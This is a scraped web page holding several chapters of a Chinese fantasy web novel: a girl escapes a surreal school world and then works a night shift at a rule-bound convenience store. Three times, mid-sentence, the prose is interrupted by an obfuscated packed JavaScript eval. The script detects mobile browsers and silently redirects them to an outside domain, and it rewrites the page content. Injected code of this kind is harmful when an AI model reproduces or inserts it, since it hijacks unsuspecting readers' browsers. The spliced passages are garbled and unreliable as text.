《在怪诞世界努力生活的每一天》 2. 山洞 “现在开始听写,课本都收起来放进桌肚,桌面上只能有笔和听写本。” 教室里响起一阵桌盖开合的杂音,好一会儿才消停下来。 班主任尖利的嗓音报出一个个问题。与此同时,广播刺啦刺啦,有人拍拍话筒,一道女声念起答案。 舒司鸢照旧自顾自落笔写下答案,却分了神——这些天里,她自始至终都未能找到广播室的位置。 “木偶”会在那吗? 是谁在念答案? 以及,夏蓁蓁为什么可以变成雕像? 要不是秦迎那傻缺一到午休就跑得无影无踪——虽然据本人说是去办公室偷答案,她还能逮住机会抓到人,两个人好分头去找线索。 她视线落在前排低头奋笔疾书的秦迎和转着笔迟迟未动一字的夏蓁蓁身上,笔尖在笔记本空白处无意识画出几条横线。 广播又刺啦一声,仿佛当头一棒—— 校规。 禁止前往活动楼五楼,禁止前往后山禁区…… 舒司鸢目光清明,这哪是桦林附中校规,分明是桦林附中必做榜啊! 广播室就在断崖对面的山里。 但是上课铃声一旦打响,便会连着上半天的课,每天唯一的自由活动时间只在午休时分。 舒司鸢暗自思忖着请假的理由。班主任的声音戛然而止,广播一同停止,打断了她蔓延的思绪。 “都停笔,不许再写了,”她严厉地说,“手平放在桌上。” 舒司鸢依言照做,老师环绕教室一圈,很快收齐了听写本,坐到讲台后的一把椅子上批改。 笔在纸页上飞快划动,不消片刻便“啪”地翻上最后一本,大力抽出抽屉,翻找出暗红的戒尺。 她愤怒起身,挥舞戒尺凶狠地抽向讲台:“怎么还是有三个人没满分!” 舒司鸢一想到又要被打,手心便隐隐作痛起来。 班主任抽出三本听写本,手指指着,似要把本子戳出洞来,血红的嘴巴一张一合,念出最上面舒司鸢的名字。 她顶着班主任极度不满的目光,磨磨蹭蹭走到讲台旁,才刚伸出手,教室的门骤然被敲响。 班主任狠狠朝门口剜了一眼,不耐烦地挥手示意舒司鸢去开门。 她拉开门,外面的人先后挤进来,把她撞在一边。舒司鸢倚在门边揉肩膀,马上看清来人是谁。 “老师,你们班的学生说要帮忙打印学校的宣传单,但是根本没打印。” 女生气急败坏地指着舒司鸢和秦迎,一双眼睛气鼓鼓的,仿佛要从眼眶里蹦出来。 “还有她,”男生也指着夏蓁蓁补充道,“她明明是雕像,却出现在打印室里。” 班主任的眼睛眯成一条细缝,眉头高高蹙起:“答应同学的事怎么能反悔?” 灯光骤然昏暗下来,温度一同下降,一丝阴冷悄然攀上舒司鸢的脚踝。 她低头一看,地板不知何时已然变成一滩正在融化的黑油,鞋子淌在粘腻的液体里。 她甩了甩脚,用了点力气挣脱,留意着教室内的情况,不动声色地往门口靠近。 班主任一时忽略了不在座位上的舒司鸢,迈着细长如杆的双腿走下讲台:“我要先把你送回美术教室,再送你们去打印室。” 说完,她才想起被指到的人还有舒司鸢,身体一转,然而朝门口看去时,那里哪还有什么人影? 窗户忽然被猛地推到一边,舒司鸢探身进来伸手,拎起她的包挎在身上,朝夏蓁蓁和秦迎喊道:“去后山!”接着头也不回跑远了。 她边跑边在心里回忆路线,速度却不减,周遭事物迅速后退,直到越来越靠近画着大大叉号的告示牌。 舒司鸢手在磨损严重的栏杆上一撑,灵活地翻身而过,落地踩进满地的枯枝败叶中,发出劈里啪啦的脆响。她找到中午布置的充当记号的石堆,抬脚踢散,一头扎进密林。 其实通往断崖的路不只这一条,只是这条路她中午刚走过,当时顺手清理了一下沿途长得茂盛的植物,因此此时不仅有路下脚,也走得顺利许多。 令人烦躁的虫鸣充斥耳膜,舒司鸢干脆地折断一颗高大植物的根茎,随手扔在一旁。天光不再被遮挡,倾泻进来笼罩住她。 她走出树林几步后又停住,屏气侧耳倾听一番,然而身后动静全无,虫子的叫声也消失了。 舒司鸢不再关注后方,来到断崖边上,凝神注视对面爬满藤蔓的山。看得久了,隐约分辨出在藤蔓之下,藏有一个不小的山洞。 舒司鸢愈发确定心中猜测,但要如何去到山洞,她却是毫无头绪。 除非…… 除非秦迎能想起来飞剑秘诀。 舒司鸢无奈地叹气,现在回想起他的话来,还是觉得荒诞不已。但除此之外,似乎也没有其他办法了。 一阵慌乱的脚步声由远及近,夏蓁蓁和秦迎跌跌撞撞地出现在舒司鸢方才站着的出口。 “怎么过去?”夏蓁蓁见到她,知道走对了地方,急切地来到她身边问道。 舒司鸢看了秦迎一眼。 “别看我。”秦迎连连摆手倒退几步,“都说不记得了。” “你知道就快说,等会儿他们就追上来了!”夏蓁蓁一把拽住他的衣摆将人拉回来,口吻逼迫,“这是藏私的时候吗?刚才你被老师抓到是不是我折回去救你?” 夏蓁蓁扯着秦迎的衣襟来回晃他:“现在该你报答我了!” 秦迎急道:“我忘了啊!” “这种事也能忘!” “小心点,”舒司鸢盘腿坐在悬崖边上,看他们两人推推搡搡的,嘱咐道,“别把我推下去了。” 夏蓁蓁扯着秦迎衣襟的手一顿,朝她缓缓勾起嘴角,眼里不怀好意。 舒司鸢大感不妙,还没起身,就被扑上来的夏蓁蓁一把揽住腰往后带去—— 下一秒,三人齐齐坠下悬崖。 层层云雾里,猎猎风声灌入舒司鸢的耳中,又依稀挤进破碎的话语—— “快想!” “忘了!” 剧烈的失重感里,夏蓁蓁抱着她居然还能腾出手来折腾秦迎。舒司鸢只能抱紧单肩包里的猫安慰自己,反正里世界里的死亡并不是真的死亡,只是会不断重新进来,直到找到“木偶”为止。 虽然下一次的难度会大大提高,但她已经在这一轮里掌握不少信息了。 倏地,她模模糊糊地听到旁边的秦迎连贯地吐出一串字眼,到她耳朵里却是一段无甚意义的话。 舒司鸢努力理解其中的含义,背诵的声音突然停下,紧接着她的身体撞上一个坚硬寒冷的东西。 下坠的感觉消失,反而慢慢上升。舒司鸢抓住剑的边缘稳住倾斜的身体,一颗心还在狂跳。 夏蓁蓁蹭到她身旁,瞠目结舌向下望去:“真的可以啊?还以为要摔死了。” 秦迎瞪大眼睛:“你不确定还拉我们一起送死?” “这不是成功了。”夏蓁蓁满不在乎地道,“反正死了也还能复活。” 他俩又掐起来,舒司鸢紧紧抓着剑的边沿,以防被撞下去。好在几分钟之后,飞剑安全平稳地将他们送到对面的山上。 舒司鸢跳下剑,转身回望,班主任和情侣站在流动的白雾里,朝她们露出怨毒的笑容。 他们不敢靠近山洞吗? 夏蓁蓁戳戳她的后背,把她脑中刚冒出的念头戳散了。 “假老师和假情侣,”她显然也看到了对面三人的表情,哼了一声,“别管他们了,真的在山洞里。” 舒司鸢闻言眼睛一亮,夏蓁蓁果然知道不少信息,她开门见山:“‘木偶’也在这吗?” 夏蓁蓁语焉不详道:“你们没在学校里找到的话,那就在这里。” 舒司鸢察觉她的回答不太对劲,但“木偶”一人一个,只有找到专属于自己的“木偶”才能出去,她们不存在任何竞争关系。 夏蓁蓁明显在隐瞒什么,舒司鸢留了个心眼,转而旁敲侧击问道:“是另一对情侣在山洞里广播吗?” “是,”夏蓁蓁这回爽快地答道,“我知道你一直在跟踪我,所以你应该也发现了,学校里有两对情侣,对面是假的,真的在山洞里靠广播把听写答案传播出去。” “但我一直不知道他们是怎么过去的,等我赶到的时候,他们已经到对面了。” 前面秦迎已经扯断藤蔓走进洞穴,舒司鸢正想跟上,夏蓁蓁拉住她,附在她耳边轻声道:“作为昨天帮我恢复记忆的感谢,找到‘木偶’之后,不要选择出去。” “你们过来看看。” 舒司鸢一怔,疑问还未问出口,秦迎冲她们招手,她只好先过去。 眼前分出两条毫无差别的岔路,皆是通往一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272675|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗。 “我一个人走,”舒司鸢率先表示,“你们先选吧。” 秦迎没什么用,而夏蓁蓁明显不可控。山洞里情况不明,舒司鸢希望尽量降低危险。 夏蓁蓁和秦迎没意见,夏蓁蓁随意选了右边的路,在路口摆手和舒司鸢分别。 见两人的身影消失在黑暗里,舒司鸢解开单肩包的扣子,关了大半天的黑猫终于得以从狭窄的包里解脱,她摸了摸猫的脑袋以表安慰:“走吧,芝麻。” 山洞的顶部垂得很低,而且崎岖不平,倒挂着顶端尖锐的岩石,舒司鸢不得不用手护着脑袋,另一只手则摸索着石壁摸黑前行。 空气中弥漫着泥土的腥气,石壁潮湿,光滑柔软,舒司鸢按了按,石壁微微弹了回来。 舒司鸢默默改成只用两根手指探路。 拐过一个弯,她继续朝前走,毫无防备地撞到一堵墙上。 舒司鸢伸手拍了拍,面前的墙轻微颤动。她扬眉,手贴在墙壁上用力平推,掀起粉尘飞舞。 地面投下一片光亮,她迈着谨慎的步子,小心翼翼走进去。 视野骤然开阔,墙壁后的空间一眼望不到顶,顶端的光线垂落,照亮整个山洞。山洞竖立数十座约莫两米高的黄色土堆,此外空无一物。 蓦然,一只小手搭上立在中央的土堆尖端,紧接着,一只“木偶”三两下爬上土堆,两条腿欢快地晃悠。 见到她没有主动过来,这不是她的“木偶”。 看来广播室在另一条路上,她的“木偶”也在那。舒司鸢上前拽住“木偶”的腿把它拉下来,卡住它的脖子,任凭它在手中挣扎。 她决定原路返回去找夏蓁蓁和秦迎,刚好把“木偶”带给他们中的哪一个。谁知门口忽然有人刻意压低嗓音说话的声音,正是夏蓁蓁和秦迎。 舒司鸢的心没来由地“砰砰”直跳,她顺从直觉,飞奔到角落一座土堆躲好,控制住“木偶”乱踢乱打的手脚,敛息倾听。 “里面好像没人,你不是说我的‘木偶’就在这吗,难道也被她……” “与自己的‘木偶’融合后,才能吃别人的,她的‘木偶’已经被我吃了。”夏蓁蓁冷声打断,“她走不了,人就在这里。” 舒司鸢大气不敢喘,怀里秦迎的“木偶”不安地动了动,方形的嘴巴一开一合,吐出一颗环状的硬物,掉在她的腿上。 那是一枚戒指,舒司鸢刚弯腰捡在手心里,背后的土堆被人一圈打散,轰然坍塌倒地,她被强大的推力撞到在地,当即借力抱头连滚几圈出去,这才逃离被黄土掩埋的命运。 她把单肩包甩出去老远,手心紧攥的戒指便在指缝滑落,骨碌碌转到夏蓁蓁脚边。 舒司鸢和夏蓁蓁眼神一变,同时伸手。 一大把土沙劈头盖脸撒下,两人被迫闭上眼,沙子磨到眼睛里,立时泪流不止,手指却仍固执顽强在地上摸索。 舒司鸢跪在地上专心寻找,手心被夏蓁蓁的指甲剐了一下,立刻涌出几粒血珠,她“嘶”了一声,突然听到对面的夏蓁蓁爆发出一顿谩骂,和剧烈的挣扎声。 她强忍不适睁眼,结果手腕一麻,双手被用力钳住绕到身后绑住。 感受着手腕上熟悉的触感,舒司鸢认出这是她交待秦迎绑架夏蓁蓁用的床单。 中二少年幸不辱命,还绑一送一。 舒司鸢试图动了动手腕,绳结相当严实。 无法行动,也看不见,舒司鸢索性往地上一躺,身体好巧不巧盖在戒指掉落的区域,等待眼里的痛苦过去。 这时,摔在地上四仰八叉的“木偶”爬起来,“吧嗒吧嗒”朝主人碎步跑来。 然而秦迎却没选择离开,无言的沉默里,舒司鸢听到三道清浅的呼吸声。 夏蓁蓁突然开口:“当人们意识到自己生活的世界并不正常,便会千方百计寻找没有任何怪诞存在的理想世界。而发现真相的过程,称之为觉醒。” “什么正常不正常的?你们俩怎么说一样的怪话。”片刻后,秦迎回答道。 “别再装了,”夏蓁蓁冷笑一声,毫不留情地拆穿他,“如果你没觉醒的话,听到我说起‘正常世界’几个字的时候,就会怪诞化了。” 秦迎愣住,怪不得当时他跟舒司鸢装傻,她还笑了。 “所以这里是不是有……”秦迎脑中灵光闪过,呼吸瞬间变得灼热。 3. 新世界 “先给我解开。”夏蓁蓁说。 “谁知道你还有什么花样,”秦迎断然拒绝,“你不说我就用‘木偶’回去了。” “那你走吧,”夏蓁蓁不气不恼,“能够永远离开的方法只在这里。” “用‘木偶’脱离之后,你就再也进不来这个里世界了。” “往后余生,你都只能在怪诞世界里度过。” 又是一阵缄默。 秦迎按捺不住,败下阵来,上前替夏蓁蓁解绑。 夏蓁蓁眼里的疼痛缓解大半,她半睁着眼睛,指着舒司鸢说:“东西好像掉在那儿了。” 她刚说完,舒司鸢就被秦迎拉起来推到一旁。 满地尘土里,一枚银环折射出华美的流光,被秦迎捡在手心里,然后他果断远离夏蓁蓁,退到舒司鸢身后。要是夏蓁蓁发难,他还能把人推出去挡一下。 舒司鸢察觉出他的意图,闭着眼挑拨离间:“她都不算人了,说的话也真真假假,你还信她?” 她指的是夏蓁蓁能变成雕像的事。 “别听她的。”夏蓁蓁立即反驳,一步步逼近,“她的‘木偶’消失了,想出去只能用戒指。” “你别过来!” “谁说只有一枚戒指?” 秦迎喝止越靠越近的夏蓁蓁,听见坐在地上的舒司鸢不咸不淡地冒出一句话。 夏蓁蓁也听到了,眼看逃离有望,她顾不得多想:“在哪?” “我就找到一枚,”舒司鸢说,她终于可以睁开眼睛了,与夏蓁蓁定定对视,“你也说了,我的‘木偶’被你吃了,想离开只能靠戒指。” 她又将视线投向秦迎:“夏蓁蓁这疯子自己跳悬崖也就算了,非要拉着我们一起,你确定戒指真的有用?怎么用?万一她也不确定,只是拿你做试验呢?” “我知道戒指的使用方法,”舒司鸢睁着眼睛说瞎话,晃晃被绑起来的手暗示他:“合作对象,咱们一人一枚,我可以先示范。” 秦迎犹豫着解她手腕处的绳结。 “等一下,”夏蓁蓁回过神来,快速道,“她身上不可能有另一枚戒指,否则她大可以等只剩下一个人的时候再说,现在说出来对她根本没好处!” 然而为时已晚,舒司鸢瞬间挣脱松垮的床单绳索,一肘撞在秦迎的膝盖,回头大喊:“芝麻!” 一只黑猫从被丢在几步之外的包里钻出来,以迅雷不及掩耳之势抓着秦迎的裤腿蹿上来,锋利的爪子狠狠抓在他手臂上,划出深深的血痕。 靠!他就说为什么舒司鸢去哪都带着她的破包! 秦迎吃痛放手,戒指掉到猫头上。芝麻晃着脑袋,戒指顽固地滞留在它头上,它摆了下尾巴,低头跳进舒司鸢怀里。戒指随它的动作震下来,精准砸进她手中。 舒司鸢痛苦地皱起眉头,戒指正掉在她被夏蓁蓁抓出来的伤口上,被手掌上干涸的血迹映照,泛出一角血红。 就是这一下拖慢了舒司鸢起身的动作,夏蓁蓁已经扑了过来,一只手死死掐住她的肩膀按住她,指甲深深嵌进皮肤里。另一只手直直伸向戒指。 舒司鸢当即冲她抬腿猛踢一脚,却踢上一块坚硬无比的东西,脚尖立刻蔓延起一股强烈的痛感——她踢到变成雕塑的夏蓁蓁了。 骨折的错觉中,舒司鸢只来得及阻止芝麻一口咬在夏蓁蓁伸出的手臂上,她的猫绝对不能把牙磕了。 两人倒在地上,舒司鸢竭力伸远手,场面一时僵持。她感觉肩膀要被夏蓁蓁卸下来,然而手心却激起更锥心的痛觉。 她摊开手一看,方才看到戒指之所以红,根本不是被她流出来的血染的,而是它渐渐刺进伤口吸血,此刻已然整个通红。 失血过多,舒司鸢脑袋一片混沌,眼前阵阵发黑。 她用力闭了闭眼迫使自己清醒几分,身体却忽而一轻,夏蓁蓁压在她身上的重量消失不见。 舒司鸢警惕地睁眼,没有夏蓁蓁,没有秦迎。 天色已晚,路灯明亮,汽车发动引擎和轮胎辗过地面的声响近在咫尺,却又像糊上一层膜似的隔在耳畔。 舒司鸢在一片光亮中恍惚坐起,车辆接连从巷口飞驰而过。 小腹处传来柔软的触感,芝麻用脑袋重重地蹭了蹭她,发出长长的“喵——”声,眼睛亮晶晶地望着她。 舒司鸢把它圈过来,左手小指蓦地闪过一道银光。 她定睛一看,是那枚戒指。 这么说来,她真的逃离怪诞,来到新世界了? 她抱着猫站起来,微凉的夜风拂过,芝麻却散发着热热的暖意。 舒司鸢小心踏出第一步,第二步……随后步伐越来越坚定,径直向巷口走去。 晚上十点二十八分,舒司鸢走出小巷,站到一家仍在营业的便利店门口。 滚动的电子屏幕上滚完一条促销广告,电话号码后的实时时间跳到二十九分。 舒司鸢在这一分钟里,意识到她身无分文,无处可去。 手机没电黑屏关机,坠在外套口袋里,目前起到板砖的作用。还有一只两年前捡到的重伤流浪猫,花了她一大笔钱和很长一段时间才变得健康,现在长到十斤重,目前起到一个健身用品的作用。舒司鸢换了只手抱它,暗暗祈祷它不要生病。 便利店里飘出食物的鲜香,舒司鸢吸吸鼻子,芝麻跟着吸吸鼻子。 她转身离开,店内冲出来一道人影,临近又怯怯地问:“那个,你要进来坐一会吗?” 舒司鸢身子自然地一转,“嗯”了一声,和店员一起走进店内。 门口装有感应装置,她们一进去便响起一道短促的“叮铃铃”。 舒司鸢四下张望,这家便利店还挺大,货架满满当当,临街的一面墙壁装了一块大玻璃,摆有一张长桌,转椅全都整齐朝向桌子。 请她进来的店员是个年纪很轻的女孩子,名字叫莘曼,今年刚来这附近上大一,不忙的周末便来便利店兼职。 “今天是我第一次值夜班,”她垂眸不好意思道,“我有点害怕,你人真好,愿意进来陪我。” 舒司鸢在心里尬尴笑了两声,其实只要莘曼愿意,她可以整晚都待在这。 舒司鸢问她借了充电器给手机充上电——居然可以用。 她有点意外,再看看零食包装袋上熟悉的字体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272676|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,担心戒指是把她给送到其他省份了。她故意借口莘曼的口音很熟悉,问她是哪里人。 莘曼说出一个她从来没听过的省份,给她端来一份热气腾腾的关东煮。 “这个给你。”莘曼也坐到吧台的椅子上,热切道:“你还有什么想吃的都告诉我,我请你,可以用员工折扣。” 热气翻涌,在舒司鸢脸上洇出一块水痕。她知道莘曼是为了多留她一会儿,总之不管是吃东西还是在这坐着,都正合她意。 莘曼抱歉地看向芝麻:“对不起小猫,没有可以给你吃的东西。” “这里也卖早餐吧?”舒司鸢注意到收银台后的蒸箱,“有没有水煮蛋和红薯之类的?” “有的有的,”生怕舒司鸢要走,莘曼赶紧站起来去打开蒸箱,“是早上剩下的,我帮你热一下。” 她说着打开了机器,舒司鸢的目光却从她身上移开,落到收银台上贴着的一张纸。 舒司鸢:“你们这还招人啊。” 莘曼点点头:“老板说最近人手不够,今天白班也是我上的,老板就说夜班也一块上了。而且本来轮夜班都是两人一组的。” 她充满希冀地问:“你要应聘吗?要是来的话,现在给老板打电话,他肯定会同意的。” “不来……”舒司鸢的手机开机了,去世的父母给她留下一笔颇丰的遗产,够她这辈子躺平了。她输入密码,莫名被格式化的手机显示未安装SIM卡。 莘曼:“夜班时薪一百,日结。” “不来是不可能的。”舒司鸢丢开没用的手机。 鉴于舒司鸢谎称无法拨打电话,便请莘曼代她联系上老板。 挂断电话一分钟后,舒司鸢已经穿上印着“好多多便利店”白色字样的深绿色围裙,和莘曼一同站在收银台后,两个人分着吃碗里的蛋白。 芝麻埋头吃着纸碗里放凉的蒸红薯和鸡蛋黄——舒司鸢预支薪水给它买的,莘曼热心赞助了所有的鸡蛋。 “夜班十一点才开始,你可以先休息会,”莘曼说,把手机递给舒司鸢,“老板让你也看一下这个。” 舒司鸢接过手机,是几条关于值班注意事项的聊天记录。 老板:夜班时间为晚十一点至翌日早七点,准时打卡上下班。工作期间请穿戴好工作服,到点再脱下。 老板:晚上客人不多,不忙的话可以坐着休息。但是一定要服务好顾客,不要让他们往意见箱里投差评。 老板:早班会来两位同事,务必确认好身份再让他们接班。 就算她查看这几条消息的时候,老板不放心似地又发出一条:第一次值夜班不用太紧张,不会很难。有事给我发消息或者打电话。 莘曼回了收到。 消息刚发出去,收银台上的电脑跳出一分钟倒计时的签到页面,莘曼拉着舒司鸢先后录入人脸,莘曼由于是连班的缘故又录了一次,几秒后弹出显示两人均打卡成功的提示。 “老板动作好快啊,”莘曼感慨道,“这么快就把你的信息录入系统了。” 这时,风卷起塑料门帘,感应装置检测到顾客进来,“叮铃铃”声骤响。 4. 好多多便利店 十一点到来的那刻,舒司鸢透过玻璃窗户往外望去,街道给她一种凝固的感觉,沿途的树木、公交站牌、垃圾桶和建筑物静静伫立,仿佛在暗中等待什么。头顶的黑夜愈发厚重,像一块巨大的黑色果冻包裹住便利店。 舒司鸢在怪诞世界生活了近二十年,对危险十分敏感,本能地感到些许不安。铃声突然炸开,舒司鸢呼吸停滞一瞬,随即又恢复正常。 门口出现一大一小两个身影。年迈的老妇牵着小女孩的手,掀开塑料门帘走进来。 老婆婆目测得有七八十岁了,小女孩十一岁左右。她们的衣衫稍显杂乱,头发也翘起两撮,像是从睡到一半从床上被人硬拉起来的。 不过舒司鸢打量来打量去,得出结论,这就是一对普通的祖孙俩。 她观察的时候,莘曼敏锐地注意到犹豫着向柜台走来的两人,便率先开口询问:“欢迎光临,有什么想买的吗?” “你们这里有没有一个叫……”老人凑上前来焦急地问,眼神浑浊而呆滞。 “不用不用!”小女孩一下子打断,挽住她的手,将她带离收银台,“外婆,我们先自己找找吧。店员姐姐们很辛苦的。” “所有商品摆放的位置我都记得。你告诉我,我帮你找更快啊。”莘曼的话回响在便利店内,奈何女孩拉着外婆的胳膊一闪,消失在货架后。 “这不就是我的工作吗。”莘曼还在不解地嘀咕。 舒司鸢接话道:“等会她们没找到会回来的吧。” “也是。”莘曼打了个哈欠,她下午三点就在便利店里工作了,骨头里生出淡淡的疲惫感,便犯了懒。要是在平时,她肯定会追上去。 货架后传出翻找商品的声音,塑料包装袋窸窣作响。莘曼又打了个哈欠,门铃声恰好响起,她含糊不清地说了一句“欢迎光临”。 进来的是个刚参加工作的实习生,面孔稚嫩却一脸倦容,眼底发青,不太合身的白衬衫满是褶皱,领带松垮,背着一个磨损严重的棕皮公文包。他摇摇晃晃走向吧台坐下,身子斜斜歪靠在桌子。 “罐装咖啡和饭团,随便哪个牌子,饭团要两个。” 莘曼果真如她所言,将任意物品的摆放位置记得清清楚楚。她麻利地挑出实习生要的东西,把饭团递给舒司鸢去加热,自己则打开罐装咖啡送到他面前。 “你好,你的咖啡。” 实习生抢过,仰头大灌几口,然后小口啜饮,另一只手拿出手机付钱。 微波炉发出“叮”的一声,舒司鸢手捧盛有两个滚烫饭团的纸碗,走过来放到实习生面前。他不管不顾撕开包装,咬上一大口,胡乱咀嚼几下便咽下去。 他两三下解决第一个饭团,开始吃第二个饭团的时候,速度才慢下来。 身后响起“咚”的一响,舒司鸢回过头。实习生头磕在桌子上,手里还举着咬了一半的饭团。 她吓了一跳,条件反射以为饭团里有毒,连忙回去查看他的情况。 “没事,”她对同样吓了一跳的莘曼说,“只是睡着了。” 莘曼放松地呼出一口气,见那对祖孙还在翻寻,便交代舒司鸢几句,快步走到她们身边。 舒司鸢百无聊赖,一手托腮,眼睛盯着电脑里的监控,记忆各类商品的位置。 意见箱上的圆形按钮闪过一道红光,刺得向收银台走来的莘曼眯了下眼睛。她领着老婆婆和小女孩过来:“小鸢,你查一下店里有没有‘叮叮糖’。” 舒司鸢应了一声,拉出键盘搜索。 “没有。”她简短地说,把页面给老婆婆和小女孩看。 “婆婆你看,我们店里真的没有这种糖果,我给您推荐一些其他的吧。”莘曼说着,拍了一下意见箱,“奇怪,为什么又闪了一下。” 老婆婆像是没有听到她说的话,嘴里连续念叨着“叮叮糖”,满是皱纹的脸越来越呆板。 这时意见箱又亮了一下,舒司鸢刹那间意识到什么,但还没有理清其中思绪,身体已经先一步做出反应。 “停下!”她喝道,倏然起身,手即将抓上老婆婆的肩膀。 站在婆婆旁边的小女孩动作更快,她用力揉着外婆的脸,不停地喊她。 “外婆、外婆……明莱!” 小女孩情急之下,脱口而出一个名字。老婆婆当真渐渐安静下来,只是仍旧一动不动。 莘曼和小女孩扶着老婆婆坐下,舒司鸢望着她们的背影似有所感。她尝试打开意见箱,结果这一直乱亮的玩意儿却上了锁。 舒司鸢倒了两杯热水,小女孩接过,道了声谢,吹几下喂到老婆婆嘴边。 老婆婆自己拿起透明塑料杯喝起来,小女孩便捧着自己的那一杯,水汽熏得她的脸蛋红扑扑的:“谢谢姐姐。给你们添麻烦了。应该是我外婆晚上睡觉的时候又梦到我妈妈了,醒来后她就总吵着要‘叮叮糖’,说这是妈妈小时候最爱吃的。” “一路上我们问了好多店铺,但是都没有找到。” “这么晚还在外面乱逛太危险了,早点回去吧,”莘曼说着解锁了手机,“小朋友,这是姐姐的电话,到家了给我打电话或者发消息。” 小女孩撇撇嘴:“我不是小朋友,我叫明空。”她把莘曼的号码存到电话手表里,又说道:“这是我外婆明莱。” 明空脆生生地宣布道:“我和外婆要再待一会。” 莘曼有些担心,但她从小到大都不擅长拒绝别人的请求,便没说什么。 舒司鸢也转身离开,却被明空扯住袖子。她疑惑地俯身。 “姐姐,”明空左看右看就是不看她,摸着鼻子小声道,“我和外婆害你们拿了差评……” 她心虚的声音逐渐充满勇气:“我想留下来,看看能不能帮上忙。” 舒司鸢一言不发,侧身静静地看向窗外。黑夜积压,街上的景物快要被吞没得看不清了。 夜色深处似藏有獠牙,蛰伏着,等待一口咬下。 “怪不得,”她突然说。然后转向明空,“你经常遇到这种事吗?” 这一刻,她萦绕心头的不祥预感终于化为实质,撕开所有那些如同脆弱的薄纸般的自欺欺人。 明空点头,说道:“姐姐知道你们店门口贴了顾客购物守则吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272677|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我也是第一次上班,”舒司鸢摇头,“你可以告诉我内容吗?” 舒司鸢遇到过不少次规则类的里世界,对此还算小有经验,她想了想,又补充道:“如果不能说就算了。” “可以的,”明空回忆起来,“上面写了……这份守则只在晚上十一点到次日早上七点有效。” “第一,店员身穿深绿色制服。” “第二,货架只有五层。” “第三,顾客必须购买商品。” 明空一口气流利背完。 太短了,意思也不明确。 舒司鸢暗想,迎上明空的目光:“你之所以留下,是因为你外婆必须买到‘叮叮糖’吧。” 明空坦率地承认:“是。我本来不想进来的,但没拦住外婆。” “所以,为了减少差评,拜托姐姐帮我外婆找到想要的商品吧。”明空笑得像只狡猾的小狐狸,“我也会一起想办法的。” 谈及差评,舒司鸢若有所思地朝莘曼望去,她身上的深绿色工作服果然变淡了一些,如同洗涤过多次的旧衣服那样褪色了。 旋即她低头一看,自己身上的制服也不像刚穿上时那样颜色浓重。她猜想应该是刚才帮明莱搜了店内不存在的商品。 和顾客们进入便利店购物需要遵守规则一样,她和莘曼作为员工,肯定也有一份守则,即夜班开始前,便利店老板发来的那几段信息。 但是老板给出的信息很零碎,而且,老板知道他的便利店到了晚上会变成这样吗? 舒司鸢倾向于他是知情的,因为他曾明确表示过,第一次上夜班可以受到优待。 那么她们最多可以承受几次差评呢?另外,存不存在用好评抵消的方法? “莘曼。”舒司鸢喊道,“用手机搜一下‘叮叮糖’是什么。顺便问问老板拿了三次差评怎么办。” 她总共看到意见箱亮了三次红灯,也许她们还有更多没有注意到的失误。但她感觉红光更像是一种提示,每次闪烁一定会让其中一个员工看见。 舒司鸢对明空解释道:“等她查好,看看能不能用店内其他糖果做一份出来。” 莘曼不懂但照做,而且办事效率极高,马上举着手机念到:“查到了,是一种麦芽糖。” 然后她又卡顿了下:“老板还没回。但我记得他之前说过一次值班里最多只能被投诉十次。” 十次乍一听还挺多,但在一个顾客身上,她们就连连出错三次。长夜漫漫,后面还不知道会面临什么危险。 她决定先解决明莱的问题,不然老人家再念叨一次,她们估计又要添上几个差评。 舒司鸢环视琳琅满目的便利店一圈,选择问莘曼:“店里有可以做麦芽糖的材料吗?” “啊?我想想。”十分清楚便利店情况的莘曼也犯了难,垂首苦苦思索,快速在脑海里搜寻。 “我找到了……找到了!”明莱猛地站起,颤抖地指着货架最底层道,“‘叮叮糖’就在那里,在第六层!” 舒司鸢和明空齐齐看向她手指的地方,那里只是货架底部与地板之间的空隙。 5. 好多多便利店2 “外婆,便利店的货架只有五层。” 明空一惊,慌忙拉住明莱。 明莱力气莫名得大,几下便抽出被桎梏住的胳膊。 “小好要吃糖……我要给小好买糖……” 舒司鸢见状不对,拦在明莱身前,迫使她与自己对视:“婆婆,我是店员,便利店没有第六层货架。” 她清晰坚定地又重复一遍。 她心里其实不太有把握,但是明莱眼神清明一瞬,身体僵在原地。明空抓住机会,半拉半扯将外婆带回座位。 “嘶,这光又刺到我眼睛了。”莘曼抱怨道,“能关了吗?”她说着便到处拍拍意见箱。 舒司鸢闻言低头,见自己身上的制服果然褪色些许。 如此看来,穿着正常颜色工作服的店员,可以在一定程度上延缓顾客的异化,但自身会受到反噬。 她和莘曼各自还剩下三次机会。 一旦次数全部用完…… 太不妙了。规则含糊不清,进来购买商品的客人又无法控制。她们随意一个举动都可能再次招致差评。 